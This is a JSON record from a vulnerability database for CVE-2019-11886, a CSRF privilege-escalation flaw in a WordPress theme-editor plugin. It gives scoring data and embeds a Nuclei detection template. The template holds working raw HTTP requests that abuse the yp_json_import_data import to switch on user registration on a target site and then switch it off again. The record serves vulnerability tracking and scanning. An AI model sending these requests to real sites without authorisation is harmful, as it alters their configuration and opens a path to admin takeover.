{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-11886/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-11886/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-11886/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-11886/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-11886/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-11886/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-11886"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2019-11886"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.02281,
      "kev": false,
      "percentile": 0.8321
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2019/CVE-2019-11886.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2019-11886\n\ninfo:\n  name: Yellow Pencil Visual Theme Customizer < 7.2.1 - Privilege Escalation\n  author: daffainfo\n  severity: high\n  description: |\n    The WaspThemes Visual CSS Style Editor (aka yellow-pencil-visual-theme-customizer) plugin before 7.2.1 for WordPress allows yp_option_update CSRF, as demonstrated by use of yp_remote_get to obtain admin access.\n  impact: |\n    Unauthenticated attackers can exploit CSRF to escalate privileges to administrator level, gaining complete control over the WordPress site including content manipulation and user management.\n  remediation: |\n    Upgrade to Yellow Pencil Visual Theme Customizer version 7.2.1 or later.\n  reference:\n    - https://www.wordfence.com/blog/2019/04/zero-day-vulnerability-in-yellow-pencil-visual-theme-customizer-exploited-in-the-wild/\n    - https://web.archive.org/web/20190410184502/https://www.pluginvulnerabilities.com/2019/04/09/recently-closed-visual-css-style-editor-wordpress-plugin-contains-privilege-escalation-vulnerability-that-leads-to-option-update-vulnerability/\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-11886\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2019-11886\n    epss-score: 0.02281\n    epss-percentile: 0.8321\n    cwe-id: CWE-352\n    cpe: cpe:2.3:a:yellowpencil:visual_css_style_editor:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: waspthemes\n    product: yellow_pencil_visual_theme_customizer\n    framework: wordpress\n    fofa-query: body=\"wp-content/plugins/yellow-pencil-visual-theme-customizer/\" && body=\"wp-\"\n  tags: cve,cve2019,wp,wordpress,wp-plugin,yellow-pencil-visual-theme-customizer,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        yp_json_import_data=[{\"users_can_register\":\"MQ==\"}]\n\n      - |\n        GET /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(body_2, 'wp-login-register')\"\n          - \"contains(body_2, '/wp-login.php?action=lostpassword')\"\n          - 'status_code_2 == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        yp_json_import_data=[{\"users_can_register\":\"MA==\"}]\n\n      - |\n        GET /wp-login.php?{{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"!contains(body_2, 'wp-login-register')\"\n          - \"contains(body_2, '/wp-login.php?action=lostpassword')\"\n          - 'status_code_2 == 200'\n        condition: and\n# digest: 4a0a0047304502201ff8032540e7dc74ab9299f1ed4dec0bb34f77ed238588e09028fa86c47afaa3022100bfe9efdad0b144ec3e90bdd36d3398eb20aa76f3411e086fd491f2826e5e0ec7:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2019-11886"
}